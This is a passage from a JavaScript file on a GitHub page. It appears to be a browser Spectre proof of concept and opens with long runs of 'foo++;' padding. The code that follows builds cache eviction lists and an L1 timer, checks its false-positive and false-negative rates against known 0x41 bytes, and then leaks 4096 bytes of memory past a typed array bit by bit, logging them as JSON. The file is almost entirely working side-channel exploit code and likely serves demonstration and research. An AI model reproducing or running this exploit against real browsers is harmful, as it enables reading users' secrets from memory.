foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++
}
function leakBit(evictionList, offset, bit) {
let zeroes = 0;
let ones = 0;
// Our leak is probabilistic. To filter out some noise, we test both for bit 0
// and 1 repeatedly. If we didn't get a difference in cache hits, continue
// until we see a diff.
for (let i = 0; i < 1; i++) {
if (testBit(evictionList, offset, bit, 0)) zeroes++;
if (testBit(evictionList, offset, bit, 1)) ones++;
}
for (let i = 1; ones == zeroes && i < 5; i++) {
if (testBit(evictionList, offset, bit, 0)) zeroes++;
if (testBit(evictionList, offset, bit, 1)) ones++;
if (ones != zeroes) break;
}
return ones > zeroes ? 1 : 0;
}
function leakByte(evictionList, offset) {
let byte = 0;
for (let bit = 0; bit < 8; bit++) {
byte |= leakBit(evictionList, offset, bit) << bit;
}
return byte;
}
function leakQword(evictionList, offset) {
let qword = 0n;
for (let i = 0; i < 8; i++) {
qword |= BigInt(leakByte(evictionList, offset+i)) << BigInt(8*i);
}
return qword;
}
async function runSpectre() {
const arrayPageOffset = (PAGE_SZ + inferredCacheSet*CACHE_LINE_SZ - alignedIndex*elementSize) % PAGE_SZ;
console.log(`[*] array elements page offset: 0x${(arrayPageOffset).toString(16)}`);
// We want the backing store ptr and the length of the typed array to be on separate cache lines.
const desiredAlignment = 2*CACHE_LINE_SZ - (40);
let typedArrayPageOffset = (arrayPageOffset + leakMe.length*4) % PAGE_SZ;
console.log(`[*] first typedArray at 0x${typedArrayPageOffset.toString(16)}`);
// We prepared a memory layout in setup_memory.js that looks like this:
// leakMe | typedArray[0] | typedArrayBackingStore[0] | typedArray[1] | typedArrayBackingStore[1] | ...
// Just iterate through them to find one that has the alignment we want.
let alignedTypedArray = undefined;
for (let i = 0; i < typedArrays.length-1; i++) {
if (typedArrayPageOffset % (2*CACHE_LINE_SZ) == desiredAlignment) {
console.log(`[*] found typedArray with desired alignment (@0x${typedArrayPageOffset.toString(16)})`);
alignedTypedArray = typedArrays[i];
alignedTypedArray.fill(0x00);
const targetArray = typedArrays[i+1];
// Fill all arrays before and after with 0x41 so that we can see them in
// the hexdump.
// We also use it as a known value to test if our leak works.
for (let j = 0; j < i; j++) {
typedArrays[j].fill(0x41);
}
for (let j = i+1; j < typedArrays.length; j++) {
typedArrays[j].fill(0x41);
}
break;
}
typedArrayPageOffset += 164;
typedArrayPageOffset %= PAGE_SZ;
}
if (alignedTypedArray == undefined) {
console.error(ERR_U8_ALIGN, "couldn't create typed array with right alignment");
return;
}
// Create these as globals.
// The spectreArray is what we will access out of bounds.
// The spectreTimer calls the spectre gadget and checks which cache sets it's using.
Object.defineProperty(this, "spectreArray", {
value: alignedTypedArray
});
Object.defineProperty(this, "spectreTimer", {
value: new L1Timer(spectreGadget)
});
const cacheLineToFlush = typedArrayPageOffset & 0xfc0;
// This will be used to evict the typed array length from the cache
const evictionList = new EvictionList(200, cacheLineToFlush);
// Test that the leak is working. We previously wrote byte 0x41 at a known offset.
const leakTestReps = 1000;
let falsePositives = 0;
let falseNegatives = leakTestReps;
for (let i = 0; i < leakTestReps; i++) {
// The expected value is 0x41
falseNegatives -= leakBit(evictionList, 164, 0);
falsePositives += leakBit(evictionList, 164, 1);
}
const falsePositivePercent = Math.floor(100*falsePositives/leakTestReps);
const falseNegativePercent = Math.floor(100*falseNegatives/leakTestReps);
console.log(`[*] false positives: ${falsePositivePercent}%, false negatives: ${falseNegativePercent}%`);
if (falsePositivePercent > 20) {
console.error(ERR_NO_41, 'too many wrong false positives in leak test (> 20%)');
return;
}
if (falseNegativePercent > 20) {
console.error(ERR_NO_41, 'too many wrong false negatives in leak test (> 20%)');
return;
}
console.log('[*] setup complete, start leaking');
await sleep(50);
const leakCount = 4096;
const reportSize = 128;
let leaked = [];
let time = performance.now();
for (let leakOffset = 0; leakOffset < leakCount; leakOffset++) {
if (leaked.length == reportSize) {
console.log(JSON.stringify({type: 'memory', mem: leaked, offset: leakOffset - leaked.length, time: performance.now() - time}));
await sleep(10);
leaked = [];
time = performance.now()
}
leaked.push(leakByte(evictionList, leakOffset));
}
if (leaked.length > 0) {
console.log(JSON.stringify({type: 'memory', mem: leaked, offset: leakCount - leaked.length, time: performance.now() - time}));
}
console.log('[*] done');
}
if (leakSuccess) {
console.log(`[*] inferred memory layout: array index ${alignedIndex} is in cacheSet ${inferredCacheSet}`);
// To verify, you can search for the value 0x26700000266e in a debugger
leakMe[alignedIndex] = 0x1337;
leakMe[alignedIndex+1] = 0x1338;
runSpectre();
} else {
console.error(ERR_MEM_LAYOUT, "could not infer memory layout", {cacheHits: cacheHits});
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment